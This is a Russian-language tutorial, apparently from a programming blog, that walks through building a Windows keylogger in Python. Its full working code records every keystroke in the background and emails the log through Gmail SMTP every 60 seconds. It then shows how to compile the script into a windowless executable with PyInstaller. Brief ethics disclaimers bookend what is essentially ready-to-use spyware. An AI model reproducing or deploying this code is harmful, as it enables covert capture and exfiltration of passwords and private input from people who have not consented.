πŸ•΅ ПишСм ΠΊΠ΅ΠΉΠ»ΠΎΠ³Π³Π΅Ρ€ Π½Π° Python для Windows Π·Π° 5 ΠΌΠΈΠ½ΡƒΡ‚

Руководство ΠΏΠΎ созданию ΠΊΠ΅ΠΉΠ»ΠΎΠ³Π³Π΅Ρ€Π° Π½Π° Python, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ записываСт наТатия клавиш с ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Ρ‹ ΠΈ отправляСт ΠΈΡ… ΠΏΠΎ элСктронной ΠΏΠΎΡ‡Ρ‚Π΅ ΠΈΠ»ΠΈ сохраняСт Π² Ρ„Π°ΠΉΠ» ΠΆΡƒΡ€Π½Π°Π»Π°.

Π­Ρ‚ΠΎΡ‚ ΠΌΠ°Ρ‚Π΅Ρ€ΠΈΠ°Π» публикуСтся ΠΈΡΠΊΠ»ΡŽΡ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π² ΠΎΠ·Π½Π°ΠΊΠΎΠΌΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… цСлях. Автор ΠΈ рСдакция катСгоричСски ΠΏΡ€ΠΎΡ‚ΠΈΠ² нСэтичного использования ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π°, ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠ³ΠΎ Π½ΠΈΠΆΠ΅ для слСТки, шпионаТа, хищСния Π΄Π°Π½Π½Ρ‹Ρ… ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΡ… Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Ρ… Π·Π»ΠΎΡƒΠΏΠΎΡ‚Ρ€Π΅Π±Π»Π΅Π½ΠΈΠΉ. Автор ΠΈ рСдакция Π½Π΅ нСсут ΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²Π΅Π½Π½ΠΎΡΡ‚ΡŒ Π·Π° Π½Π΅Π³Π°Ρ‚ΠΈΠ²Π½Ρ‹Π΅ послСдствия использования этого ΠΌΠ°Ρ‚Π΅Ρ€ΠΈΠ°Π»Π°.

Π§Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ ΠΊΠ΅ΠΉΠ»ΠΎΠ³Π³Π΅Ρ€ ΠΈ Π·Π°Ρ‡Π΅ΠΌ ΠΎΠ½ Π½ΡƒΠΆΠ΅Π½

ΠšΠ΅ΠΉΠ»ΠΎΠ³Π³Π΅Ρ€ – это ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ°, прСдназначСнная для записи Π²Π²ΠΎΠ΄Π° с ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Ρ‹. КСйлоггинг ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для изучСния Π΄ΠΈΠ½Π°ΠΌΠΈΠΊΠΈ наТатия клавиш (.pdf), взаимодСйствия Ρ‡Π΅Π»ΠΎΠ²Π΅ΠΊΠ° с ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€ΠΎΠΌ, сохранСния ΠΈ Π°Π½Π°Π»ΠΈΠ·Π° ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΏΡ€ΠΈ Π²Π²ΠΎΠ΄Π΅. Π‘ΠΊΠ°ΠΆΠ΅ΠΌ, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ ΠΌΠ½ΠΎΠ³ΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚Π΅ с тСкстом, ΠΊΠ΅ΠΉΠ»ΠΎΠ³Π³Π΅Ρ€ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠΌΠΎΡ‡ΡŒ ΡΠΎΠ±Ρ€Π°Ρ‚ΡŒ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ скорости Π²Π²ΠΎΠ΄Π°, продуктивности Π·Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ ΠΏΠ΅Ρ€ΠΈΠΎΠ΄ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ ΠΈ ΠΏΡ€ΠΎΡ‡Π΅Π΅. Π‘ Π΄Ρ€ΡƒΠ³ΠΎΠΉ стороны, ΠΊΠ΅ΠΉΠ»ΠΎΠ³Π³Π΅Ρ€Ρ‹ часто ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ Ρ…Π°ΠΊΠ΅Ρ€Ρ‹ для ΠΊΡ€Π°ΠΆΠΈ ΠΏΠ°Ρ€ΠΎΠ»Π΅ΠΉ ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΠΊΠΎΠ½Ρ„ΠΈΠ΄Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ.

ΠŸΠΎΠ΄Π³ΠΎΡ‚ΠΎΠ²ΠΊΠ°: устанавливаСм Python ΠΈ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ

Для Π½Π°Ρ‡Π°Π»Π° Π½Π°ΠΌ потрСбуСтся ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Python. Если это ΡƒΠΆΠ΅ сдСлано, ΠΌΠΎΠΆΠ΅Ρ‚Π΅ смСло ΠΏΡ€ΠΎΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ этот Π°Π±Π·Π°Ρ† ΠΈ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒ ΠΊ установкС Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ. Π’ ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС скачайтС ΠΈ установитС подходящий Ρ€Π΅Π»ΠΈΠ· с ΠΎΡ„ΠΈΡ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠΉ страницы языка. Π’ Π΄Π°Π½Π½ΠΎΠΌ руководствС ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π²Π΅Ρ€ΡΠΈΡŽ Python 3.9, Π½ΠΎ, ΠΏΠΎ сути, ΠΏΠΎΠ΄ΠΎΠΉΠ΄Π΅Ρ‚ любая вСрсия.

ΠšΡ€ΠΎΠΌΠ΅ этого, Π½Π°ΠΌ понадобится Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ° keyboard. Она позволяСт ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΈ Ρ€Π΅Π³ΠΈΡΡ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π²Π²ΠΎΠ΄ с ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Ρ‹.

Π‘Ρ‚Π°Π²ΠΈΠΌ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΡƒ простой ΠΊΠΎΠΌΠ°Π½Π΄ΠΎΠΉ Π² Ρ‚Π΅Ρ€ΠΌΠΈΠ½Π°Π»Π΅:

pip3 install keyboard

ПишСм ΠΊΠ΅ΠΉΠ»ΠΎΠ³Π³Π΅Ρ€

Наш ΠΊΠ΅ΠΉΠ»ΠΎΠ³Π³Π΅Ρ€ Π±ΡƒΠ΄Π΅Ρ‚ ΡΠ»ΡƒΡˆΠ°Ρ‚ΡŒ ΠΈ Π·Π°ΠΏΠΈΡΡ‹Π²Π°Ρ‚ΡŒ Π² ΡΡ‚Ρ€ΠΎΠΊΠΎΠ²ΡƒΡŽ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ наТатия клавиш Π² Ρ„ΠΎΠ½ΠΎΠ²ΠΎΠΌ Ρ€Π΅ΠΆΠΈΠΌΠ΅ ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ содСрТимоС Ρ‡Π΅Ρ€Π΅Π· Π·Π°Π΄Π°Π½Π½Ρ‹Π΅ ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π»Ρ‹ Π² Π»ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΉ Ρ„Π°ΠΉΠ» ΠΈΠ»ΠΈ Π½Π° email.

Π˜ΠΌΠΏΠΎΡ€Ρ‚ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊ

НачнСм с ΠΈΠΌΠΏΠΎΡ€Ρ‚Π° Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Ρ… Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊ:

import keyboard 
import smtplib #для ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ элСктронной ΠΏΠΎΡ‡Ρ‚Ρ‹ ΠΏΠΎ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Ρƒ SMTP (gmail)
#Π’Π°ΠΉΠΌΠ΅Ρ€ для запуска Ρ‡Π΅Ρ€Π΅Π· Π·Π°Π΄Π°Π½Π½Ρ‹ΠΉ Β«ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π»Β» Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ.
from threading import Timer
from datetime import datetime

Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ Π»ΠΎΠ³ΠΈ ΠΏΠΎ элСктронной ΠΏΠΎΡ‡Ρ‚Π΅, слСдуСт Π½Π°ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ ΡƒΡ‡Π΅Ρ‚Π½ΡƒΡŽ запись Gmail ΠΈ ΡƒΠ±Π΅Π΄ΠΈΡ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎ Π² ΡƒΡ‡Π΅Ρ‚Π½ΠΎΠΉ записи:

РСкомСндуСтся ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΉ адрСс элСктронной ΠΏΠΎΡ‡Ρ‚Ρ‹ ΠΎΡ‚Π»ΠΈΡ‡Π½Ρ‹ΠΉ ΠΎΡ‚ основного, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ ΠΊΠΎΠ΄ содСрТит ваш ΠΏΠ°Ρ€ΠΎΠ»ΡŒ Π² ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΠΎΠΌ Π²ΠΈΠ΄Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ сообщСний.

Π‘ΠΎΠ»ΡŒΡˆΠ΅ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹Ρ… ΠΌΠ°Ρ‚Π΅Ρ€ΠΈΠ°Π»ΠΎΠ² Π²Ρ‹ Π½Π°ΠΉΠ΄Π΅Ρ‚Π΅ Π½Π° нашСм Ρ‚Π΅Π»Π΅Π³Ρ€Π°ΠΌ-ΠΊΠ°Π½Π°Π»Π΅ Β«Π‘ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ° Ρ…Π°ΠΊΠ΅Ρ€Π°Β»

Π˜Π½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·ΠΈΡ€ΡƒΠ΅ΠΌ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹

SEND_REPORT_EVERY = 60 #врСмя Π² сСкундах
EMAIL_ADDRESS = "notmygmail@gmail.com"
EMAIL_PASSWORD = "notmypassword"

Π’ΡƒΡ‚ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½Ρ‹Π΅ ΡƒΡ‡Π΅Ρ‚Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ Gmail, ΠΈΠ½Π°Ρ‡Π΅ ΠΎΡ‚Ρ‡Π΅Ρ‚ ΠΏΠΎ элСктронной ΠΏΠΎΡ‡Ρ‚Π΅ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ.

Π‘ΠΎΠ·Π΄Π°Π΅ΠΌ класс ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹

Π›ΡƒΡ‡ΡˆΠΈΠΉ способ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ ΠΊΠ΅ΠΉΠ»ΠΎΠ³Π³Π΅Ρ€ – ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ для Π½Π΅Π³ΠΎ класс, ΠΈ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄ Π² этом классС выполняСт ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΡƒΡŽ Π·Π°Π΄Π°Ρ‡Ρƒ:

class Keylogger:
    def __init__(self, interval, report_method="email"):
        # ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅ΠΌ SEND_REPORT_EVERY Π² ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π»
        self.interval = interval
        self.report_method = report_method
        # это строковая пСрСмСнная, которая содСрТит Π»ΠΎΠ³
        self.log = ""
        #запись Π½Π°Ρ‡Π°Π»Π° ΠΈ окончания Π΄Π°Ρ‚Ρ‹ ΠΈ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ
        self.start_dt = datetime.now()
        self.end_dt = datetime.now()

ΠœΡ‹ установили Π² качСствС ΠΌΠ΅Ρ‚ΠΎΠ΄Π° ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ email, Ρ‡Ρ‚ΠΎ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ ΠΊΠ΅ΠΉΠ»ΠΎΠ³ΠΈ Π½Π° ΡΠ»Π΅ΠΊΡ‚Ρ€ΠΎΠ½Π½ΡƒΡŽ ΠΏΠΎΡ‡Ρ‚Ρƒ. Π’ качСствС Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Ρ‹ ΠΌΡ‹ смоТСм просто Π·Π°ΠΏΠΈΡΡ‹Π²Π°Ρ‚ΡŒ ΠΈΡ… Π² Ρ„Π°ΠΉΠ».

Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Ρ‹ on_release(), которая ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ ΠΎΠ±Ρ€Π°Ρ‚Π½Ρ‹ΠΉ Π²Ρ‹Π·ΠΎΠ².

def callback(self, event):
        name = event.name
        if len(name) > 1:
            #Π½Π΅ символ, ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Π°Ρ клавиша (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ctrl, alt ΠΈ Ρ‚. Π΄.)
            #Π²Π΅Ρ€Ρ…Π½ΠΈΠΉ рСгистр
            if name == "space":
                #" " вмСсто ΠΏΡ€ΠΎΠ±Π΅Π»ΠΎΠ²
                name = " "
            elif name == "enter":
                #Π΄ΠΎΠ±Π°Π²Π»ΡΡ‚ΡŒ Π½ΠΎΠ²ΡƒΡŽ строку всякий Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° наТимаСтся ENTER
                name = "[ENTER]\n"
            elif name == "decimal":
                name = "."
            else:
                #Π·Π°ΠΌΠ΅Π½ΠΈΡ‚Π΅ ΠΏΡ€ΠΎΠ±Π΅Π»Ρ‹ символами подчСркивания
                name = name.replace(" ", "_")
                name = f"[{name.upper()}]"
        #Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ имя ΠΊΠ»ΡŽΡ‡Π° Π² Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½ΡƒΡŽ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ
        self.log += name

ПишСм ΠΌΠ΅Ρ‚ΠΎΠ΄ для записи Π² Π»ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΉ Ρ„Π°ΠΉΠ»

def update_filename(self):
        #ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ имя Ρ„Π°ΠΉΠ»Π°, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Π½ΠΎ ΠΏΠΎ Π΄Π°Ρ‚Π΅ Π½Π°Ρ‡Π°Π»Π° ΠΈ окончания записи
        start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "")
        end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "")
        self.filename = f"keylog-{start_dt_str}_{end_dt_str}"

    def report_to_file(self):
        # ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Ρ„Π°ΠΉΠ»
        with open(f"{self.filename}.txt", "w") as f:
            # Π·Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ Π»ΠΎΠ³
            print(self.log, file=f)
        print(f"[+] Saved {self.filename}.txt")

ΠžΡ‚ΠΏΡ€Π°Π²ΠΊΠ° Π½Π° email

 def sendmail(self, email, password, message):
        # управляСт ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ ΠΊ SMTP-сСрвСру
        server = smtplib.SMTP(host="smtp.gmail.com", port=587)
        # ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒΡΡ ΠΊ SMTP-сСрвСру Π² Ρ€Π΅ΠΆΠΈΠΌΠ΅ TLS
        server.starttls()
        # Π»ΠΎΠ³ΠΈΠ½
        server.login(email, password)
        # ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ сообщСниС
        server.sendmail(email, email, message)
        # Π·Π°Π²Π΅Ρ€ΡˆΠ°Π΅Ρ‚ сСанс
        server.quit()

Если ΠΏΡ€ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠ΅ Π»ΠΎΠ³Π° Π½Π° email, консоль Π²Ρ‹Π΄Π°Π΅Ρ‚ ΠΎΡˆΠΈΠ±ΠΊΡƒ Π²Ρ€ΠΎΠ΄Π΅ UnicodeEncodeError: 'ascii' codec can't encode character, ΠΎΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΡƒ smtplib.py ΠΏΠΎ адрСсу C:\Users\user\AppData\Local\Programs\Python\Python39\Lib\, Π½Π°ΠΉΠ΄ΠΈΡ‚Π΅ строку msg = _fix_eols(msg).encode('ascii') ΠΈ Π·Π°ΠΌΠ΅Π½ΠΈΡ‚Π΅ Π΅Π΅ Π½Π° msg = _fix_eols(msg).encode('utf8'). Ошибка связана с Ρ‚Π΅ΠΌ, Ρ‡Ρ‚ΠΎ ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²ΠΊΠ° ASCII Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Ρ‚ΡŒ Π² Π±Π°ΠΉΡ‚Ρ‹ ΠΊΠΈΡ€ΠΈΠ»Π»ΠΈΡ†Ρƒ.

Π‘ΠΎΠΎΠ±Ρ‰Π°Π΅ΠΌ Π»ΠΎΠ³ Ρ‡Π΅Ρ€Π΅Π· Π·Π°Π΄Π°Π½Π½Ρ‹Π΅ ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΊΠΈ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ

 def report(self):
        if self.log:
            self.end_dt = datetime.now()
            # ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚ΡŒ `self.filename`
            self.update_filename()
            if self.report_method == "email":
                self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log)
            elif self.report_method == "file":
                self.report_to_file()
            self.start_dt = datetime.now()
        self.log = ""
        timer = Timer(interval=self.interval, function=self.report)
        timer.daemon = True
        # старт
        timer.start()

Π”Π°Π²Π°ΠΉΡ‚Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠΌ ΠΌΠ΅Ρ‚ΠΎΠ΄ on_release():

def start(self):
        #Π·Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ Π΄Π°Ρ‚Ρƒ ΠΈ врСмя Π½Π°Ρ‡Π°Π»Π°
        self.start_dt = datetime.now()
        #Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ ΠΊΠ΅ΠΉΠ»ΠΎΠ³Π΅Ρ€
        keyboard.on_release(callback=self.callback)
        self.report()
        keyboard.wait()

ΠœΡ‹ Π·Π°ΠΊΠΎΠ½Ρ‡ΠΈΠ»ΠΈ с классом Keylogger, Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Π½ΡƒΠΆΠ½ΠΎ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ экзСмпляр этого класса:

if __name__ == "__main__":
    # для ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ ΠΏΠΎ email Ρ€Π°ΡΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ строку Π½ΠΈΠΆΠ΅ ΠΈ Π·Π°ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ строку с report_method="file"
    # keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="email")
    # для записи Π² Π»ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΉ Ρ„Π°ΠΉΠ» оставляСм ΠΊΠ°ΠΊ Π΅ΡΡ‚ΡŒ
    keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="file")
    keylogger.start()

ИспользованиС

Π§Ρ‚ΠΎΠ±Ρ‹ Π²ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ наш скрипт Π² исполняСмый Ρ„Π°ΠΉΠ», Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΠΎΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΎΠΉ с ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚Ρ‹ΠΌ исходным ΠΊΠΎΠ΄ΠΎΠΌ Pyinstaller. Для этого ставим саму Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΡƒ:

pip3 install pyinstaller

И собираСм всС Π² Ρ„Π°ΠΉΠ»:

pyinstaller --onefile -w 'keylogger.py'

На Π²Ρ‹Ρ…ΠΎΠ΄Π΅ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅ΠΌ Ρ„Π°ΠΉΠ» с Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ΠΌ .exe, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π½Π° любом ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅ ΠΏΠΎΠ΄ ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ΠΌ Windows.

ΠŸΠΎΠ²Ρ‚ΠΎΡ€ΡΠ΅ΠΌ, ΠΌΡ‹ катСгоричСски ΠΏΡ€ΠΎΡ‚ΠΈΠ² нСэтичного использования этого ΠΊΠΎΠ΄Π° ΠΈ просим ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ ΡƒΠ²Π΅Π΄ΠΎΠΌΠΈΡ‚ΡŒ всСх ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π°, Π³Π΄Π΅ Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ Π΄Π°Π½Π½ΠΎΠ΅ ПО.

ΠœΠ°Ρ‚Π΅Ρ€ΠΈΠ°Π»Ρ‹ ΠΏΠΎ Ρ‚Π΅ΠΌΠ΅

Π›Π£Π§Π¨Π˜Π• БВАВЬИ ПО Π’Π•ΠœΠ•

admin
11 дСкабря 2018

ООП Π½Π° Python: ΠΊΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΠΈ, ΠΏΡ€ΠΈΠ½Ρ†ΠΈΠΏΡ‹ ΠΈ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ

ΠŸΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ Π½Π° Python допускаСт Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ»ΠΎΠ³ΠΈΠΈ, Π½ΠΎ Π² Π΅Π³ΠΎ основС...
Π‘ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ° программиста
15 января 2018

Как ΡΡ‚Π°Ρ‚ΡŒ Ρ…Π°ΠΊΠ΅Ρ€ΠΎΠΌ: Π³Π°ΠΉΠ΄ ΠΏΠΎ основам для Π½ΠΎΠ²ΠΈΡ‡ΠΊΠΎΠ²

Π₯акСрство - это поиск уязвимостСй Π² сСти ΠΈΠ»ΠΈ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅ с Ρ†Π΅Π»ΡŒΡŽ получСния Π΄...
admin
11 фСвраля 2017

5 способов Π²Π·Π»ΠΎΠΌΠ° страницы Π’ΠšΠΎΠ½Ρ‚Π°ΠΊΡ‚Π΅

Π’ нашС врСмя ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΡ‚Π΅Ρ€ΡΡ‚ΡŒ доступ ΠΊ Π»ΠΈΡ‡Π½Ρ‹ΠΌ Π΄Π°Π½Π½Ρ‹ΠΌ, Ссли Π½Π΅ ΠΏΡ€ΠΈΠ΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒΡΡ ...